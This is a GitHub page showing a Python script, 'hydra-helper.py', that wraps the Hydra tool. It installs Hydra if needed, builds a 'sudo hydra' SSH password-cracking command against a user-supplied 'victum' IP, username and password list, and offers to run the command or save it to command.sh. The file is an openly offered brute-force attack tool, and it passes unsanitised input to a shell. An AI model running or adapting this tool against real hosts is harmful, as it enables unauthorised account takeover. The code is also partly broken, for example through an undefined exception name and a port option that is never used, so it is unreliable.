-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhydra-helper.py
267 lines (220 loc) · 9.77 KB
/
hydra-helper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
import os
import sys
import ipaddress
import subprocess
import time
import random
logo = '''
██╗░░██╗██╗░░░██╗██████╗░██████╗░░█████╗░░░░░░░██╗░░██╗███████╗██╗░░░░░██████╗░███████╗██████╗░
██║░░██║╚██╗░██╔╝██╔══██╗██╔══██╗██╔══██╗░░░░░░██║░░██║██╔════╝██║░░░░░██╔══██╗██╔════╝██╔══██╗
███████║░╚████╔╝░██║░░██║██████╔╝███████║█████╗███████║█████╗░░██║░░░░░██████╔╝█████╗░░██████╔╝
██╔══██║░░╚██╔╝░░██║░░██║██╔══██╗██╔══██║╚════╝██╔══██║██╔══╝░░██║░░░░░██╔═══╝░██╔══╝░░██╔══██╗
██║░░██║░░░██║░░░██████╔╝██║░░██║██║░░██║░░░░░░██║░░██║███████╗███████╗██║░░░░░███████╗██║░░██║
╚═╝░░╚═╝░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝░░░░░░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░░░░╚══════╝╚═╝░░╚═╝
'''
print(logo)
time.sleep(1)
Verbos = True
def INFO(text):
if Verbos:
print(text)
file = os.path.basename(__file__)
class b:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\u001b[31m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
WHITE = '\u001b[37m'
def close():
print(f'{b.WARNING}[PROMPT]{b.OKBLUE} Promting to close {b.ENDC}')
input(
f'{b.FAIL}[INTERACTION]{b.HEADER} Press {b.OKCYAN}||ENTER||{b.HEADER} to Exit{b.ENDC}')
print(f'{b.FAIL}[EXIT]{b.OKBLUE} Exiting Program {b.ENDC}')
sys.exit()
def installHydra():
print(
f'{b.FAIL}[WARNING]{b.OKBLUE} Do you want to install hydra {b.OKCYAN}(Y/n){b.ENDC}')
responce = input()
print()
if responce == None or responce == 'y' or responce == 'Y':
proc = subprocess.Popen('sudo apt install hydra-gtk', stdout=subprocess.PIPE, shell=True)
(out, err) = proc.communicate()
if not err == None:
print()
print(
f'{b.FAIL}[ERROR]{b.OKBLUE} Unable to install hydra, (must use linux) {b.ENDC}')
else:
print(
f'{b.OKGREEN}[SUCCES]{b.OKBLUE} Succesfuly install Hydra {b.ENDC}')
close()
elif responce == 'n' or responce == 'N':
close()
INFO(f'{b.WARNING}[INFO]{b.HEADER} Checking if Hydra is installed{b.ENDC}')
try:
rc = subprocess.call(['which', 'hydra'])
except FileNotFoundError:
rc = subprocess.call(['where', 'hydra'])
except EXCEPTION as e:
INFO(f'{b.FAIL}{e}{b.ENDC}')
if rc == 0:
INFO(f'{b.WARNING}[INFO]{b.OKGREEN} Hydra is installed{b.ENDC}')
pass
else:
INFO(f'{b.FAIL}[ERROR]{b.WARNING} Hydra is not installed{b.ENDC}')
INFO(f'{b.WARNING}[INFO]{b.HEADER} run {b.OKCYAN}sudo apt install hydra-gtk{b.HEADER} to proceed, then restart program {b.ENDC}')
installHydra()
print()
print(
f'{b.WARNING}[INFO]{b.HEADER} this program will run hydra to crack SSH passwords{b.ENDC}')
print(f'{b.WARNING}[INFO]{b.HEADER} You can enter diffrent port but the program will crash (unless that port is being used for SSH){b.ENDC}')
input(
f'{b.FAIL}[INTERACTION]{b.HEADER} Press {b.OKCYAN}||ENTER||{b.HEADER} to Continue{b.ENDC}')
def help():
print('')
print(f'{b.WHITE}==========HELP=========={b.ENDC}')
print('')
print(f'{b.WARNING}Arguments: {b.ENDC}')
print(f' {b.OKGREEN}-v {b.WHITE}-{b.OKCYAN} Verbose{b.ENDC}')
print(f' {b.OKGREEN}-h {b.WHITE}-{b.OKCYAN} Displayes this message{b.ENDC}')
print(f' {b.OKGREEN}-t {b.WHITE}-{b.OKCYAN} Set amout of threads to run{b.ENDC}')
print(f' {b.OKGREEN}-ip {b.WHITE}-{b.OKCYAN} Set victum ip{b.ENDC}')
print(f' {b.OKGREEN}-port {b.WHITE}-{b.OKCYAN} Set victum port{b.ENDC}')
print(
f' {b.OKGREEN}-passlist {b.WHITE}-{b.OKCYAN} Set a password list to use{b.ENDC}')
print(
f' {b.OKGREEN}-username {b.WHITE}-{b.OKCYAN} Set a username list to use{b.ENDC}')
print('')
print(f'{b.HEADER}Made By Gigabite-Studios')
print(f'{b.OKCYAN}[https://github.com/ousmblueninja]{b.ENDC}')
sys.exit()
try:
args = sys.argv
try:
args.remove(file)
except ValueError:
print()
INFO(f'{b.FAIL}[ERROR]{b.WARNING} cannot filter args{b.ENDC}')
INFO(f'{b.FAIL}[ERROR]{b.WARNING} Please do {b.OKCYAN}-h{b.WARNING} to display help menu{b.ENDC}')
print()
close()
except IndexError:
Verbos = False
pass
if args.__contains__('-v'):
Verbos = True
else:
Verbos = False
if args.__contains__('-h'):
help()
if args.__contains__('-ip'):
argument = int(args.index('-ip')) + 1
IP = args[argument]
THREADS = None
if args.__contains__('-t'):
argument = int(args.index('-t')) + 1
THREADS = args[argument]
INFO(
f'{b.WARNING}[INFO]{b.OKBLUE} Set amout of THREADS to {b.OKGREEN}{THREADS}{b.ENDC}')
if args.__contains__('-port'):
argument = int(args.index('-port')) + 1
PORT = args[argument]
else:
PORT = str(22)
if args.__contains__('-passlist'):
argument = int(args.index('-passlist')) + 1
passlist = args[argument]
INFO(
f'{b.WARNING}[INFO]{b.OKBLUE} Set passlist to {b.OKGREEN}{passlist}{b.ENDC}')
if args.__contains__('-username'):
argument = int(args.index('-username')) + 1
username = args[argument]
INFO(
f'{b.WARNING}[INFO]{b.OKBLUE} Set username to {b.OKGREEN}{username}{b.ENDC}')
try:
if not PORT.isnumeric():
INFO(f'{b.FAIL}[ERROR] {PORT} is not and PORT{b.ENDC}')
try:
if not ipaddress.ip_address(IP):
INFO(f'{b.FAIL}[ERROR] {IP} is not and IP{b.ENDC}')
except ValueError:
INFO(f'{b.FAIL}[ERROR] {IP} is not a valid ip address{b.ENDC}')
except NameError:
INFO(f'{b.FAIL}[ERROR] NameError{b.ENDC}')
INFO(
f'{b.FAIL}[ERROR] {b.WARNING}IP or PORT is Null, please do -ip/-port to specify ip / port{b.ENDC}')
if ipaddress.ip_address(IP):
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Set IP to {b.OKGREEN}{IP}{b.ENDC}')
if PORT.isnumeric():
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Set PORT to {b.OKGREEN}{PORT}{b.ENDC}')
if not PORT == '22':
print(f'{b.FAIL}[INTERACTION]{b.OKBLUE} Are you sure you want to run SSH attack on PORT {b.OKGREEN}{PORT} {b.OKCYAN}(Y/n){b.ENDC}')
responce = input()
print()
if responce == None or responce == 'y' or responce == 'Y':
pass
elif responce == 'n' or responce == 'N':
close()
if THREADS == None:
INFO(
f'{b.WARNING}[WARNING]{b.OKBLUE} No THREADS set, defaulting to {b.OKCYAN}8{b.ENDC}')
finalArgument = 'sudo hydra -l ' + username + \
' -P '+passlist + ' ssh://'+IP + ' -t 8'
else:
finalArgument = 'sudo hydra -l ' + username + \
' -P '+passlist + ' ssh://'+IP + ' -t '+THREADS
print(f'{b.OKGREEN}[SUCSESS]{b.ENDC}')
print()
print(f'{b.OKGREEN}[OUTPUT]{b.OKCYAN} {finalArgument}{b.ENDC}')
print()
print(
f'{b.FAIL}[INTERACTION]{b.OKBLUE} Do you want to run the command {b.OKCYAN}(Y/n){b.ENDC}')
responce = input()
print()
if responce == None or responce == 'y' or responce == 'Y':
print(
f'{b.WARNING}[INFO]{b.OKBLUE} Running SSH: PORT {b.OKGREEN}{PORT}{b.ENDC}')
print()
proc = subprocess.Popen(finalArgument, stdout=subprocess.PIPE, shell=True)
(out, err) = proc.communicate()
if err == None:
#saves the output to an array so it can get the password and username from it
print(f'{b.OKGREEN}======================{b.HEADER}OUTPUT{b.OKGREEN}======================{b.ENDC}')
print('')
print(f'{b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.ENDC}')
print('')
print(out)
print('')
print(f'{b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.WARNING}====={b.FAIL}====={b.ENDC}')
print('')
print('')
#print(f'sshpass -p {passkey} {uname}@{host}')
else:
print(f'{b.FAIL}[ERROR] {b.WARNING}Unable to run command{b.ENDC}')
print(f'{b.FAIL}{err}{b.ENDC}')
pass
elif responce == 'n' or responce == 'N':
print(
f'{b.FAIL}[INTERACTION]{b.OKBLUE} Do you want to Save the command {b.OKCYAN}(Y/n){b.ENDC}')
responce = input()
print()
if responce == None or responce == 'y' or responce == 'Y':
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Saving Command to {b.OKCYAN}command.sh {b.ENDC}')
time.sleep(0.3)
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Creating {b.OKCYAN}command.sh{b.ENDC}')
f = open('command.sh', 'a')
time.sleep(0.5)
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Saving file {b.ENDC}')
f.write(finalArgument)
time.sleep(0.7)
INFO(f'{b.WARNING}[INFO]{b.OKBLUE} Closing file{b.ENDC}')
f.close()
pass
elif responce == 'n' or responce == 'N':
close()
print()
input(f'{b.FAIL}[INTERACTION]{b.HEADER} Press {b.OKCYAN}||ENTER||{b.HEADER} to close window{b.ENDC}')